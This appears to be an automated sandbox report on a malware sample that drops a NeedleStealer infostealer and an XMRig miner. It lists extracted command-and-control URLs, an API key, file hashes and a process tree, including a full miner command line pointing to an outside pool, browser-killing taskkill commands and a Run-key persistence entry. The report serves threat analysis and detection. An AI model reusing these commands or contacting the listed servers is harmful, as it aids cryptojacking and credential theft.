Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/08/2026, 08:35
Static task
static1
Behavioral task
behavioral1
Sample
file.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
file.exe
Resource
win11ltsc2024-20260709-en
General
- Target file.exe
- Size 10KB
- Sample260820-khc19ahj3t
- SHA256 642ece59ea6f9a2f8c4ddf7bc5ee2c758ec9809b9b2f27a6085434e2b5eba870
- MD5 358798482fd0ad0b5212f29e675b4522
- SHA1 9a261c7e5f43faa62065ab3d602a972ee680ab76
- SHA512 2d565b3b16f057900126a7cf2a7e2edda2566e64bf53dc4787ee9ddad2139be4d3d5afa80b347ed25b27962200f78084740ba68e516ae2fc3995b3175f1322ba
- SSDEEP 192:BcolWLwziNBQ5tsxeugRPFJxTEZmFhEorccGFGp:+oBiHAvPFwZsMFG
- TLSH T1EE22D51E2E860331EE6008B0E675864A113D5EE37386FBEBE733D6870AD5D4584C06AF
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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phorphiex
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http://178.16.55.240/
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http://178.16.55.240/l/
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http://178.16.55.240/nm/
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http://178.16.55.240/nmm/
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464626246
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user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36
Extracted
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needle_stealer
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http://130.12.180.135:3000/api/v2
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api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
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base_extension
false
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self_destruct
false
Signatures
- Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
- Detects NeedleStealer payload 1 IoCs
resource yara_rule behavioral2/files/0x000c00000001c535-40.dat family_needlestealer - XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/0x000c00000001c537-37.dat family_xmrig behavioral2/files/0x000c00000001c537-37.dat xmrig - Downloads MZ/PE file 6 IoCs
flow pid Process 1 4588 file.exe 1 4588 file.exe 1 4588 file.exe 1 4588 file.exe 1 4588 file.exe 8 4512 1772130381.exe - Executes dropped EXE 9 IoCs
pid Process 4580 1403420438.exe 360 1579231868.exe 3392 145189563.exe 5616 2712919970.exe 4512 1772130381.exe 5812 sysmgnrsv.exe 3432 1929140586.exe 2424 sysfrodolv.exe 3960 sysmgnrsv.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Config = "\\sysfrodolv.exe" 1772130381.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1356 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language file.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 145189563.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2712919970.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1772130381.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1403420438.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1579231868.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sysfrodolv.exe - GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
description flow ioc HTTP User-Agent header 9 Go-http-client/1.1 - Kills process with taskkill 3 IoCs
pid Process 1608 taskkill.exe 3376 taskkill.exe 5020 taskkill.exe - Suspicious behavior: EnumeratesProcesses 16 IoCs
pid Process 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe 3432 1929140586.exe - Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 3432 1929140586.exe Token: SeDebugPrivilege 3376 taskkill.exe Token: SeDebugPrivilege 5020 taskkill.exe Token: SeDebugPrivilege 1608 taskkill.exe Token: SeLockMemoryPrivilege 3960 sysmgnrsv.exe Token: SeLockMemoryPrivilege 3960 sysmgnrsv.exe Token: SeIncBasePriorityPrivilege 3960 sysmgnrsv.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3960 sysmgnrsv.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 4588 wrote to memory of 4580 4588 file.exe 89 PID 4588 wrote to memory of 360 4588 file.exe 90 PID 4588 wrote to memory of 3392 4588 file.exe 91 PID 4588 wrote to memory of 5616 4588 file.exe 92 PID 4588 wrote to memory of 4512 4588 file.exe 93 PID 4512 wrote to memory of 5812 4512 1772130381.exe 94 PID 4588 wrote to memory of 3432 4588 file.exe 96 PID 3432 wrote to memory of 3376 3432 1929140586.exe 97 PID 3432 wrote to memory of 5020 3432 1929140586.exe 98 PID 3432 wrote to memory of 1608 3432 1929140586.exe 102 PID 4512 wrote to memory of 2424 4512 1772130381.exe 105 PID 2424 wrote to memory of 1356 2424 sysfrodolv.exe 107 PID 1356 wrote to memory of 3960 1356 cmd.exe 109
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4588 -
C:\Users\Admin\AppData\Local\Temp\1403420438.exeC:\Users\Admin\AppData\Local\Temp\1403420438.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4580
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C:\Users\Admin\AppData\Local\Temp\1579231868.exeC:\Users\Admin\AppData\Local\Temp\1579231868.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:360
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C:\Users\Admin\AppData\Local\Temp\145189563.exeC:\Users\Admin\AppData\Local\Temp\145189563.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3392
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C:\Users\Admin\AppData\Local\Temp\2712919970.exeC:\Users\Admin\AppData\Local\Temp\2712919970.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5616
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C:\Users\Admin\AppData\Local\Temp\1772130381.exeC:\Users\Admin\AppData\Local\Temp\1772130381.exe2⤵
- Downloads MZ/PE file
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe3⤵
- Executes dropped EXE
PID:5812
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C:\sysfrodolv.exe\sysfrodolv.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=254⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1356 -
C:\Users\Admin\sysmgnrsv.exeC:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=255⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3960
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C:\Users\Admin\AppData\Local\Temp\1929140586.exeC:\Users\Admin\AppData\Local\Temp\1929140586.exe2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3432 -
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3376
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C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5020
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C:\Windows\system32\taskkill.exetaskkill /F /IM msedgewebview2.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1608
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Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\1403420438.exe
- Size 18KB
- SHA256 46b17f043c38aaa7bb67986b4101cecdb9cd176f259828f0b4e9fa2f5d7b17ed
- MD5 0126590cd5a48d265d7408ffd68619c5
- SHA1 3bbe520fdab2d7c75f44b03052f4f928a0d60b82
- SHA512 3d66778de85346c519561517d5561c08b2fbcac5c9d41d06caa92d7a32bcfaed145a2cc55da4ec66175242a8850a1658c39dbd4c8dcf400da725bd8de7009948
- SSDEEP 384:0S6I8vVaF61SYUQQlmLu94gXTczlmxav8U9cVl:0SPkUQQt9U8a0U
- TLSH T1D9824B0FB9424326D0E11070A676867BDA79A8B633C514DBF7E48AED0A686D1FC3215F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\145189563.exe
- Size 18KB
- SHA256 6f7dc171744100aa4d50cb2b7f22b059861b2992c7d1a97f928ba835bdd2b2c3
- MD5 d316c5318b3310ff81580776a06b2eb5
- SHA1 c85ef0b963e98a775ddaa0536ce214ff8a37d3e7
- SHA512 d295921e53cbb53c1e7e18ebeb0135e5adcf1412cdfcbba145e4c2665e4d4b485660058550dff694c46eef5e48929b829917e5ad25732dfd72998879909ce978
- SSDEEP 384:T96I8/V6l6VWo0HlmLu94gXTcjlmxav8U9cml:T9f40Ht9k8a0U
- TLSH T136824A0FB9424326D0E110B09676967BDA79A87633C414DBF7E48AEE0A686D1FC3215F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\1579231868.exe
- Size 18KB
- SHA256 37c11f7513e3f89936105ecc9a6d1d24e5ec8e2c732624d22835024747389569
- MD5 0c6008df0c79c76bd9fc6ad19a4c7c4b
- SHA1 8a27970da176e3e827414422ee20c46fabfadd0d
- SHA512 e58c0e9d461216f3cc1e339f8ef9e3c79f8e621beedb9351620aeede279df9b4a622a4a6c50ddb55b1ec40c26ef342a47b96c4acf4e6f64ef0b567901e0ee62c
- SSDEEP 384:k56I8vVaF61eYUQQlmLu94gXTczlmxav8U9cIfl:k5PAUQQt9U8a0UZ
- TLSH T1CF824B0FB9424326D0E11070A676867BDA79A8B633C414DBF7E48AED0A6C6D5FC3215F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\1772130381.exe
- Size 12KB
- SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
- MD5 07bd5d0edaca14204802b8ff7db346ce
- SHA1 660784d4aa65c5914978fae86d4f493e26a9b2b1
- SHA512 7ba6ede3f8f94eda823241898465fcd71ac5935ed46ed679a525360d44ab6eb9a1298bd7c1c0e7fab28fe096471a62a014c8e147abf752d42118d880b4ad614e
- SSDEEP 192:PeeTbgOhmKM84zleg7zL/mmPJxTZ3lk9nAthBsuNOk:mITwG4z0A2oZK9nABsk
- TLSH T1D3421A07AD998121E7F00DB1147E924B86BD3D723BD5AC9FA700F5462DB17A0C472A7D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\1929140586.exe
- Size 8.3MB
- SHA256 ed1d3f69fbbd5576c2ed8dba45ba22c4f6884eb311d4f6e389203846d512ec11
- MD5 2cfaefe80e05fe0f093cf5c382d7c77f
- SHA1 c2ad2a5b5cd45e6f574d86b6e5b1079ed3063933
- SHA512 d75a4743bcb6fa5d879e06ef83536c00408434dff59aee6a182745fe43f57099d9cf3e85cbc149960846ae1d5d4d5cce790baa717f089afbc96bfdf771b1a3d7
- SSDEEP 98304:aoM7vbdbj6O/qZLw5tfjf8Bwm1sDjNXX5Ikr3aX5svhUE:aoMLbdbWO/eLafjUBD1+jNnSMq+t
- TLSH T131968D07EC9155A9C0AAE6358A729253BA717C485B3123D73F90F7382F73BD06AB8750
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\2712919970.exe
- Size 18KB
- SHA256 8678a0b7ebe2eccf92cdab9a60bb9d55260c776fcd44ee8a2530cfa379d0460a
- MD5 5a490555596fd0084c9816c742f54030
- SHA1 fbaae541c1b6a47441e58fadf36a7ef7617db4cd
- SHA512 46babd71c2b8a06f89474fccf57bec7bc94c44a27a7b7c7693733f2959531bcc8519a20cc60b9ea97d11515c8a3e9d0795b9cfccbb978c8cfa92a839465af2c9
- SSDEEP 384:GP6I8/V6l6Vio0HlmLu94gXTcjlmxav8U9c9bl:GPfk0Ht9k8a0UO
- TLSH T1E4824B0FB9424326D0E110B09676967BDA79A87633C414DBF7E48AEE0A686D1FC3315F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\sysmgnrsv.exe
- Size 6.2MB
- SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
- MD5 ac458ece671fdde066ce60e448f12bc0
- SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
- SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
- SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
- TLSH T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
- MD5 SHA1 SHA512 SSDEEP TLSH